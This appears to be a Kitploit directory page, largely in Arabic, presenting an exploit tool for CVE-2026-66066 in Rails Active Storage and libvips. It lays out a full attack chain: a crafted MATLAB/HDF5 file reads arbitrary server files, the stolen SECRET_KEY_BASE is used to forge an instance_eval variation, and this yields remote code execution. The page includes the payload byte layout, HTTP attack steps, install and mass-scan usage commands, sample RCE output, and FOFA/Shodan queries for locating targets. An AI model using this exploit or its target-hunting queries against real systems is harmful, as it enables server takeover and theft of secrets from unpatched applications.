Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: قراءة ملفات تعسفية في Rails Active Storage/libvips → تنفيذ أوامر عن بُعد (RCE). ملف ثنائي الهوية MATLAB/HDF5 → سرقة SECRET_KEY_BASE → تزوير التوقيع. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-66066
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: قراءة ملفات تعسفية في Rails Active Storage/libvips → تنفيذ أوامر عن بُعد (RCE). ملف ثنائي الهوية MATLAB/HDF5 → سرقة SECRET_KEY_BASE → تزوير التوقيع. CVSS 9.5 | Rails < 8.1.3.1

عرض المستودع
16منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-66066 — KindaRails2Shell

قراءة ملفات تعسفية عبر Rails Active Storage/libvips → سرقة SECRET_KEY_BASE → تنفيذ تعليمات برمجية عن بُعد


نظرة عامة

CVE-2026-66066 عبارة عن سلسلة هجوم بخطورة حرجة (CVSS 9.5) تبدأ بقراءة ملف تعسفي قبل المصادقة وتنتهي بتنفيذ تعليمات برمجية عن بُعد في وحدة Active Storage في Ruby on Rails، وتؤثر على Rails 7.2.0–7.2.3.1 و8.0.0–8.0.5 و8.1.0–8.1.3 في إعدادها الافتراضي.

تستغل الثغرة التباس محلل عبر أربع طبقات يشمل Rails وlibvips وlibmatio وHDF5. يحتوي ملف مصنوع بعناية بترويسة MATLAB 5.0 (تفي بفحص libvips) وحاوية HDF5 v7.3 (يوجّهها libmatio) على مجموعة بيانات خارجية تشير إلى مسار ملف عشوائي على الخادم. عندما تعالج ActiveStorage هذا الملف كنمط صورة، تتحول بايتات الملف المستهدف إلى بكسلات صورة — ما يتيح قراءة ملف تعسفي دون مصادقة.

بمجرد استعادة SECRET_KEY_BASE من /proc/self/environ أو ملفات الاعتماد، يستنتج المهاجم مفتاح التحقق Active Storage ويزوّر JSON تباين موقّع يحتوي على instance_eval، محققًا تنفيذ تعليمات برمجية عن بُعد.

التطبيقات المتأثرة: أكثر من 500 ألف تطبيق Rails (الافتراضي في Rails 7+ هو variant_processor = :vips) اكتشاف: فريق أبحاث Ethiack + RyotaK (GMO Flatt Security) + bl0rph، يوليو 2026 التصحيح: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 يوليو 2026)

الإصدارات المتأثرة

Branchالإصدارات المتأثرةالإصلاح
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x متأثر فقط إذا تم تمكين variant_processor = :vips يدويًا.

اكتشاف: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph إثبات مفهوم مرجعي: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


آلية الثغرة

السبب الجذري: التباس المحلل عبر أربع طبقات

تربط سلسلة الهجوم خلافين مستقلين في نوع المحتوى عبر أربعة مكونات:

Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

الملف ذو الهوية المزدوجة

البايتاتالغرضالقيمة
0–9كاشف libvipsMATLAB 5.0
10–123حشومسافات
124–125موجّه libmatio0x0200 (HDF5 v7.3)
126–127علامة ترتيب البايتات0x4d49 (IM)
128–511كتلة مستخدم HDF5حشو
512+Superblock الخاص بـ HDF5حاوية تحتوي على مجموعة بيانات خارجية

"لا يُنتِج أي كاتب شرعي كلا القيمتين MATLAB 5.0 عند البايت 0 و0x0200 عند البايت 124."

لماذا ينجح الهجوم

  1. نوع المحتوى المعلَن من العميل — Blob#variable? يثق في عمود قاعدة البيانات الذي يُملأ عند الرفع المباشر. لا يتم فحص أي بايتات.
  2. الاكتشاف التلقائي في libvips — يقوم Vips::Image.new_from_file بالتكرار عبر اللوادر؛ فحص matload يتحقق من 10 بايتات فقط.
  3. توجيه الإصدار في libmatio — البايتان 124–125 يحددان المحلل؛ 0x0200 يختار الواجهة الخلفية HDF5 بغض النظر عن النص الوصفي.
  4. مجموعات البيانات الخارجية في HDF5 — H5Pset_external تتيح أن تكون البايتات الخام لمجموعة البيانات في ملف خارجي عشوائي. يستدعي libmatio H5Dread دون التحقق من H5Pget_external_count.
  5. مفاتيح التباين مستقلة عن blob — مفتاح التباين المُستخرج يوقّع التحويل فقط، وليس معرّف blob، ما يجعلها قابلة لإعادة الاستخدام مع أي blob مرفوع.
  6. مُحوِّل Vips يفتقر إلى قائمة طرق مسموح بها — يرث Transformers::Vips سلوك validate_transformation من الصنف الأساسي، الذي يمنع فقط combine_options. تمر أسماء الطرق العشوائية إلى Vips::Image.public_send.

تسلسل الهجوم

1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

مراجع الكود المصدري الموثّقة

الملفالغرض
activestorage/app/models/active_storage/blob.rbvariable? يثق في عمود content_type
activestorage/app/models/active_storage/blob/representable.rbمسار التمثيل يحل blob والتباين بشكل مستقل
activestorage/app/models/active_storage/variation.rbdecode يتحقق من مفتاح التباين؛ لا يوجد مرجع متبادل إلى blob
image_processing/lib/image_processing/transformers/vips.rbلا توجد قائمة طرق مسموح بها — يرث سلوك الصنف الأساسي
libvips/foreign/matload.cvips__mat_ismat يفحص أول 10 بايتات فقط

التثبيت

git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

الاستخدام

# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

الوسائط

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

إثبات المفهوم

هدف واحد

$ python cve_2026_66066.py -t rails-app.example.com
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

قراءة ملف فقط

$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

الأثر

تنزيل الأداة